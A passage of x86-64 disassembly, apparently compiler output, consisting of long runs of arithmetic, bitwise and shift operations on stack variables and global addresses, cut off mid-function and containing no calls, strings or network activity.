mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbf0]
mov qword [rsp + 0xc0b0], rax
movzx eax, word [rsp + 0x15d0]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1402c9128]
mov word [rcx], ax
mov rax, qword [rsp + 0xc058]
movsx eax, byte [rax]
mov rcx, qword [0x1402c90e8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x5d], al
movzx eax, byte [rsp + 0x7a]
mov rcx, qword [rsp + 0xbc58]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x56], al
lea rax, [rsp + 0x157c]
mov qword [rsp + 0xc0b8], rax
movzx eax, word [0x1402c748c]
mov rcx, qword [rsp + 0xbcd8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x153c], ax
mov rax, qword [rsp + 0xbce0]
mov qword [rsp + 0xc0c0], rax
mov rax, qword [rsp + 0xbbf0]
mov rcx, qword [rsp + 0xbd40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbfe0], rax
mov rax, qword [rsp + 0xbd38]
mov rcx, qword [rsp + 0xc038]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6978], eax
mov eax, dword [rsp + 0x699c]
mov dword [rsp + 0x6a0c], eax
mov rax, qword [rsp + 0xbc58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
and eax, ecx
mov byte [rsp + 0x74], al
lea rax, [0x1402c74a0]
mov qword [0x1402c9188], rax
mov rax, qword [rsp + 0xbe70]
movzx eax, byte [rax]
mov byte [rsp + 0x7b], al
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15cc]
add eax, ecx
mov word [rsp + 0x15d4], ax
mov rax, qword [rsp + 0xbe58]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c748f]
add eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc50]
mov qword [rsp + 0xc0c8], rax
mov rax, qword [rsp + 0xbf60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd00]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbca8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb90]
mov eax, dword [rax]
mov dword [rsp + 0x6a10], eax
mov eax, dword [rsp + 0x69b4]
mov ecx, dword [rsp + 0x6918]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc080]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc030]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15a8]
add eax, ecx
mov word [rsp + 0x15c4], ax
movzx eax, word [0x1402c74a8]
movzx ecx, word [rsp + 0x1574]
xor eax, ecx
mov rcx, qword [0x1402c9188]
mov word [rcx], ax
mov rax, qword [rsp + 0xc058]
movzx eax, byte [rax]
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0xbca0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
or eax, ecx
mov word [rsp + 0x15a0], ax
lea rax, [rsp + 0x1570]
mov qword [rsp + 0xc0d0], rax
mov eax, dword [rsp + 0x6a00]
movzx ecx, al
mov eax, dword [rsp + 0x69e4]
shl eax, cl
mov rcx, qword [rsp + 0xc010]
mov dword [rcx], eax
lea rax, [rsp + 0xbb68]
mov qword [rsp + 0xc0d8], rax
mov eax, dword [rsp + 0x68d8]
movzx ecx, al
mov eax, dword [rsp + 0x68b0]
sar eax, cl
mov rcx, qword [rsp + 0xbd38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbcc0], rax
mov rax, qword [rsp + 0xbdf8]
movzx eax, byte [rax]
mov byte [rsp + 0x7d], al
movzx eax, byte [0x1402c74a2]
mov byte [0x1402c90a6], al
mov rax, qword [rsp + 0xbf88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1564]
sub eax, ecx
mov rcx, qword [rsp + 0xbda8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd10]
movzx eax, word [rax]
mov word [rsp + 0x15e8], ax
movsx eax, byte [rsp + 0x66]
movsx ecx, byte [rsp + 0x6a]
add eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0xc090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a0c], eax
mov rax, qword [rsp + 0xba70]
mov qword [rsp + 0xc0e0], rax
mov rax, qword [rsp + 0xbd78]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x69f0], eax
mov rax, qword [rsp + 0xbea0]
mov rax, qword [rax]
mov qword [rsp + 0xc0e8], rax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0xbf20]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7a], al
movsx eax, byte [rsp + 0x50]
mov rcx, qword [0x1402c9118]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74a5], al
movsx eax, word [rsp + 0x1588]
movsx ecx, word [rsp + 0x15c0]
add eax, ecx
mov word [rsp + 0x156c], ax
lea rax, [rsp + 0x68]
mov qword [rsp + 0xc0f0], rax
movzx eax, word [0x1402c74a8]
mov rcx, qword [rsp + 0xbfd0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc098]
mov word [rcx], ax
lea rax, [rsp + 0x6e]
mov qword [rsp + 0xc0f8], rax
mov rax, qword [rsp + 0xbd48]
mov rcx, qword [rsp + 0xbfa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbe88], rax
mov rax, qword [rsp + 0xbb90]
mov eax, dword [rax]
mov dword [rsp + 0x6a14], eax
mov eax, dword [rsp + 0x6a00]
mov rcx, qword [rsp + 0xc080]
mov qword [rsp + 0xc100], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc100]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc010]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbfd8]
mov rcx, qword [rsp + 0xc0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbdf0], rax
movzx eax, word [rsp + 0x1578]
movzx ecx, word [rsp + 0x1554]
sar eax, cl
mov word [0x1402c74b0], ax
mov rax, qword [rsp + 0xbaf0]
movzx eax, word [rax]
mov word [rsp + 0x15ec], ax
mov rax, qword [rsp + 0xbd08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc058]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x5f], al
lea rax, [rsp + 0x1564]
mov qword [rsp + 0xc108], rax
movsx eax, byte [rsp + 0x60]
movsx ecx, byte [rsp + 0x66]
and eax, ecx
mov rcx, qword [rsp + 0xbfe8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc040]
mov rcx, qword [rsp + 0xba00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbf58]
mov qword [rcx], rax
lea rax, [0x1402c7490]
mov qword [rsp + 0xc110], rax
mov rax, qword [rsp + 0xbdd8]
mov rcx, qword [rsp + 0xbdb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc88]
mov eax, dword [rax]
mov dword [rsp + 0x6a18], eax
lea rax, [rsp + 0x56]
mov qword [0x1402c9190], rax
mov rax, qword [rsp + 0xbf68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbe90]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbda8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x5c]
add eax, ecx
mov byte [rsp + 0x64], al
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x7e], al
movsx eax, word [rsp + 0x15ec]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbaf0]
mov word [rcx], ax
lea rax, [rsp + 0x69e0]
mov qword [rsp + 0xc118], rax
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x69ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x68fc], eax
mov rax, qword [rsp + 0xbf10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbee8], rax
mov rax, qword [rsp + 0xbcc0]
mov qword [rsp + 0xc120], rax
mov rax, qword [rsp + 0xbda8]
movzx eax, word [rax]
movzx ecx, word [0x1402c74b0]
add eax, ecx
mov rcx, qword [0x1402c9110]
mov word [rcx], ax
mov rax, qword [rsp + 0xbfc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x68]
add eax, ecx
mov byte [rsp + 0x70], al
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x7f], al
movsx eax, word [0x1402c90c0]
movsx ecx, word [rsp + 0x15cc]
xor eax, ecx
mov word [rsp + 0x1548], ax
mov rax, qword [rsp + 0xbbc8]
movzx eax, word [rax]
mov word [rsp + 0x15f0], ax
mov rax, qword [rsp + 0xc0c0]
movzx ecx, al
mov rax, qword [rsp + 0xbeb8]
shr rax, cl
mov qword [rsp + 0xc0a0], rax
mov eax, dword [rsp + 0x69d8]
mov ecx, dword [rsp + 0x68d4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x69ec], eax
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov dword [rsp + 0x6a1c], eax
mov rax, qword [rsp + 0xbdd0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc120]
shl rax, cl
mov qword [rsp + 0xbce8], rax
movzx eax, word [0x1402c9120]
mov rcx, qword [rsp + 0xbf08]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402c90b0], ax
mov rax, qword [rsp + 0xbff0]
movzx eax, word [rax]
mov word [rsp + 0x15f4], ax
mov rax, qword [rsp + 0xc058]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0xc0f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc050]
mov byte [rcx], al
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0xbdd8]
mov rcx, qword [rsp + 0xbe10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbbf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba70]
mov qword [rsp + 0xc128], rax
mov rax, qword [rsp + 0xbe28]
mov rcx, qword [rsp + 0xc060]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbce8], rax
mov eax, dword [rsp + 0x68d4]
mov ecx, dword [rsp + 0x69e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
lea rax, [rsp + 0x78]
mov qword [0x1402c9198], rax
mov rax, qword [rsp + 0xc088]
movzx eax, word [rax]
mov word [rsp + 0x15f8], ax
mov rax, qword [rsp + 0xbde0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15ec]
add eax, ecx
mov rcx, qword [rsp + 0xbbc8]
mov word [rcx], ax
mov rax, qword [rsp + 0xba80]
movzx eax, byte [rax]
mov byte [rsp + 0x81], al
mov rax, qword [rsp + 0xc0f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
and eax, ecx
mov rcx, qword [rsp + 0xc0f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbf28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe38], rax
lea rax, [rsp + 0xbd00]
mov qword [rsp + 0xc130], rax
mov eax, dword [rsp + 0x6918]
movzx ecx, al
mov eax, dword [rsp + 0x69d4]
shr eax, cl
mov dword [rsp + 0x69c4], eax
lea rax, [rsp + 0x696c]
mov qword [rsp + 0xc138], rax
mov rax, qword [rsp + 0xbbd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbef0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402c74b4], ax
mov rax, qword [rsp + 0xbfc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
xor eax, ecx
mov byte [rsp + 0x74], al
lea rax, [rsp + 0x15c0]
mov qword [rsp + 0xc140], rax
movzx eax, word [0x1402c74b4]
mov rcx, qword [rsp + 0xc0d0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1580], ax
mov rax, qword [rsp + 0xbda8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1578]
add eax, ecx
mov rcx, qword [rsp + 0xc0d0]
mov word [rcx], ax
lea rax, [rsp + 0x69a0]
mov qword [rsp + 0xc148], rax
mov rax, qword [rsp + 0xbe50]
mov rcx, qword [rsp + 0xbf80]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbe08]
mov qword [rcx], rax
lea rax, [rsp + 0xbce8]
mov qword [rsp + 0xc150], rax
mov rax, qword [rsp + 0xbe40]
mov ecx, dword [rsp + 0x69ec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbb00]
mov dword [rcx], eax
movzx eax, byte [0x1402c74aa]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [0x1402c90a6], al
mov rax, qword [rsp + 0xc088]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15b4]
add eax, ecx
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
mov rax, qword [0x1402c9110]
movzx eax, word [rax]
mov word [rsp + 0x15fc], ax
movsx eax, byte [rsp + 0x6a]
movsx ecx, byte [rsp + 0x6c]
sub eax, ecx
mov byte [rsp + 0x62], al
lea rax, [rsp + 0x79]
mov qword [rsp + 0xc158], rax
mov rax, qword [rsp + 0xbed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc130]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbe18]
mov ecx, dword [rsp + 0x6998]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc148]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb38]
mov rax, qword [rax]
mov qword [rsp + 0xc160], rax
mov eax, dword [rsp + 0x69b0]
mov ecx, dword [rsp + 0x68d4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbda8]
movzx eax, word [rax]
mov word [rsp + 0x1600], ax
movzx eax, byte [rsp + 0x67]
mov byte [0x1402c90a7], al
mov rax, qword [rsp + 0xbc58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb50]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x69], al
movzx eax, word [0x1402c749c]
mov word [rsp + 0x1604], ax
movsx eax, byte [rsp + 0x5f]
movsx ecx, byte [rsp + 0x63]
imul eax, ecx
mov rcx, qword [rsp + 0xbd08]
mov byte [rcx], al
mov rax, qword [rsp + 0xc118]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x69f0]
sar eax, cl
mov rcx, qword [rsp + 0xbdd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc0e0]
mov qword [rsp + 0xc168], rax
mov eax, dword [rsp + 0x68fc]
movzx ecx, al
mov eax, dword [rsp + 0x69c8]
shl eax, cl
mov rcx, qword [rsp + 0xbe40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc150]
mov rax, qword [rax]
mov qword [rsp + 0xc170], rax
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x157c]
xor eax, ecx
mov word [rsp + 0x154c], ax
movzx eax, byte [rsp + 0x6f]
movzx ecx, byte [rsp + 0x74]
or eax, ecx
mov rcx, qword [0x1402c9198]
mov byte [rcx], al
movsx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0xbb80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbd08]
mov byte [rcx], al
lea rax, [rsp + 0x1588]
mov qword [rsp + 0xc178], rax
movzx eax, word [rsp + 0x15b0]
movzx ecx, word [rsp + 0x1574]
sub eax, ecx
mov word [rsp + 0x1534], ax
lea rax, [rsp + 0x6978]
mov qword [rsp + 0xc180], rax
mov rax, qword [rsp + 0xbea0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe38]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe28], rax
mov eax, dword [rsp + 0x69b8]
mov ecx, dword [rsp + 0x699c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbab0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbeb8]
mov qword [rsp + 0xc188], rax
movzx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0xc050]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc000]
mov byte [rcx], al
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0xbc70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c749e], al
lea rax, [rsp + 0x56]
mov qword [rsp + 0xc190], rax
movsx eax, word [rsp + 0x15a0]
mov rcx, qword [rsp + 0xbbc8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbd98]
mov word [rcx], ax
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbdb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1594], ax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xc198], rax
mov rax, qword [rsp + 0xbbf8]
mov rcx, qword [rsp + 0xc118]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf90]
mov rax, qword [rax]
mov qword [rsp + 0xc1a0], rax
mov rax, qword [rsp + 0xbe50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbf38]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc050]
movzx eax, byte [rax]
mov byte [rsp + 0x82], al
movsx eax, word [rsp + 0x1544]
movsx ecx, word [rsp + 0x156c]
add eax, ecx
mov word [0x1402c74b8], ax
mov rax, qword [rsp + 0xbc10]
movzx eax, word [rax]
mov rcx, qword [0x1402c9138]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1534], ax
movzx eax, word [rsp + 0x1538]
mov rcx, qword [rsp + 0xc098]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1550], ax
lea rax, [rsp + 0x6c]
mov qword [rsp + 0xc1a8], rax
movsx eax, word [rsp + 0x1598]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0xbf90]
mov rax, qword [rax]
mov qword [rsp + 0xc1b0], rax
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69d8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d4], eax
mov rax, qword [rsp + 0xbc98]
mov ecx, dword [rsp + 0x6990]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6a1c], eax
mov rax, qword [rsp + 0xbec0]
mov rax, qword [rax]
mov qword [rsp + 0xc1b8], rax
movzx eax, word [rsp + 0x1550]
movzx ecx, word [rsp + 0x15c8]
sub eax, ecx
mov word [0x1402c74bc], ax
movzx eax, byte [0x1402c74a4]
mov rcx, qword [rsp + 0xbdc0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x70], al
lea rax, [rsp + 0x52]
mov qword [rsp + 0xc1c0], rax
mov rax, qword [rsp + 0xbca0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbde0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbca0]
mov word [rcx], ax
mov rax, qword [0x1402c9138]
movzx eax, word [rax]
imul eax, eax, 0x146
mov word [rsp + 0x153c], ax
lea rax, [rsp + 0xbd60]
mov qword [rsp + 0xc1c8], rax
mov eax, dword [0x1402c7498]
mov ecx, dword [rsp + 0x69f0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf10]
mov rax, qword [rax]
mov qword [rsp + 0xc1d0], rax
mov rax, qword [rsp + 0xbd68]
mov ecx, dword [rsp + 0x695c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x69b4], eax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0xbe58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [reloc.SHELL32.dll_ILGetNext], al
mov rax, qword [rsp + 0xbda8]
movzx eax, word [rax]
mov word [rsp + 0x1608], ax
mov rax, qword [rsp + 0xc088]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbbc8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc030]
mov word [rcx], ax
movsx eax, byte [rsp + 0x5d]
mov rcx, qword [0x1402c9118]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbea8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc050]
movzx eax, byte [rax]
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0xbec0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc0e0]
shr rax, cl
mov rcx, qword [rsp + 0xbaa8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x69b8]
mov dword [rsp + 0x6a20], eax
mov rax, qword [rsp + 0xbf90]
mov rcx, qword [rsp + 0xc0b0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbe38], rax
mov rax, qword [rsp + 0xc138]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc148]
mov qword [rsp + 0xc1d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc1d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x69e0], eax
movzx eax, word [rsp + 0x154c]
mov word [0x1402c91a0], ax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xc1e0], rax
movzx eax, word [rsp + 0x15e0]
mov rcx, qword [rsp + 0xbbc0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbfd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc1a8]
movzx eax, byte [rax]
mov byte [rsp + 0x84], al
mov rax, qword [0x1402c9190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc78]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0xbb00]
mov rcx, qword [rsp + 0xbaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbb00]
mov dword [rcx], eax
lea rax, [rsp + 0xbe30]
mov qword [rsp + 0xc1e8], rax
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xbc98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x69bc], eax
mov rax, qword [rsp + 0xbfa0]
mov rax, qword [rax]
mov qword [rsp + 0xc1f0], rax
movzx eax, word [rsp + 0x1584]
mov rcx, qword [rsp + 0xc070]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9150]
mov word [rcx], ax
mov rax, qword [0x1402c90f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbca0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15e4], ax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7f]
and eax, ecx
mov byte [rsp + 0x7d], al
movzx eax, byte [rsp + 0x82]
mov byte [rsp + 0x85], al
movzx eax, word [rsp + 0x152c]
imul eax, eax, 0xaff
mov rcx, qword [rsp + 0xbda8]
mov word [rcx], ax
lea rax, [rsp + 0xbdf0]
mov qword [rsp + 0xc1f8], rax
mov rax, qword [rsp + 0xc080]
mov ecx, dword [rsp + 0x69c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x69ec], eax
lea rax, [rsp + 0xbe48]
mov qword [rsp + 0xc200], rax
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6998]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd78]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x5b]
movsx ecx, byte [rsp + 0x5d]
add eax, ecx
mov byte [0x1402c74a5], al
movsx eax, word [rsp + 0x15e8]
mov rcx, qword [rsp + 0xbaf0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15cc], ax
lea rax, [rsp + 0x1548]
mov qword [rsp + 0xc208], rax
movzx eax, word [rsp + 0x1608]
movzx ecx, word [rsp + 0x15fc]
xor eax, ecx
mov word [rsp + 0x1564], ax
movzx eax, byte [rsp + 0x7f]
mov byte [rsp + 0x86], al
mov rax, qword [rsp + 0xc068]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba08]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc128], rax
mov rax, qword [rsp + 0xbd78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbbf8]
mov qword [rsp + 0xc210], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc210]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc138]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc008]
mov rax, qword [rax]
mov qword [rsp + 0xc218], rax
mov eax, dword [rsp + 0x699c]
mov rcx, qword [rsp + 0xbc00]
mov qword [rsp + 0xc220], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc220]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x69e4], eax
lea rax, [rsp + 0x78]
mov qword [0x1402c91a8], rax
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x87], al
movzx eax, word [rsp + 0x1540]
imul eax, eax, 0x5e8
mov rcx, qword [rsp + 0xbcb8]
mov word [rcx], ax
movsx eax, word [rsp + 0x15e8]
movsx ecx, word [0x1402c74b8]
and eax, ecx
mov word [rsp + 0x15d4], ax
lea rax, [rsp + 0x78]
mov qword [rsp + 0xc228], rax
mov rax, qword [rsp + 0xbf58]
mov rcx, qword [rsp + 0xc078]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbf00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov dword [rsp + 0x6a24], eax
mov rax, qword [rsp + 0xbf50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbeb8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc1f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6978]
mov ecx, dword [rsp + 0x69e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe20]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c90a6]
add eax, ecx
mov byte [0x1402c748f], al
lea rax, [rsp + 0x15bc]
mov qword [rsp + 0xc230], rax
mov rax, qword [rsp + 0xc1c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6c]
sub eax, ecx
mov byte [rsp + 0x60], al
movzx eax, word [rsp + 0x1558]
mov word [rsp + 0x160c], ax
movzx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0xbcf0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x6a14]
mov dword [rsp + 0x6a28], eax
mov rax, qword [rsp + 0xbd40]
mov rcx, qword [rsp + 0xbfb8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xbf60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xba70], rax
mov rax, qword [rsp + 0xbe40]
mov eax, dword [rax]
mov dword [rsp + 0x6a2c], eax
movzx eax, word [rsp + 0x1600]
mov rcx, qword [0x1402c90f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1574], ax
movsx eax, byte [rsp + 0x63]
movsx ecx, byte [rsp + 0x50]
or eax, ecx
mov byte [0x1402c74ae], al
lea rax, [rsp + 0x56]
mov qword [rsp + 0xc238], rax
movsx eax, word [rsp + 0x1544]
movsx ecx, word [0x1402c9140]
shl eax, cl
mov word [rsp + 0x15b4], ax
movsx eax, byte [rsp + 0x7b]
cdq
mov ecx, 0x51
idiv ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
mov eax, dword [rsp + 0x69e0]
mov dword [rsp + 0x6a30], eax
mov rax, qword [rsp + 0xbeb8]
movzx ecx, al
mov rax, qword [rsp + 0xbce0]
shr rax, cl
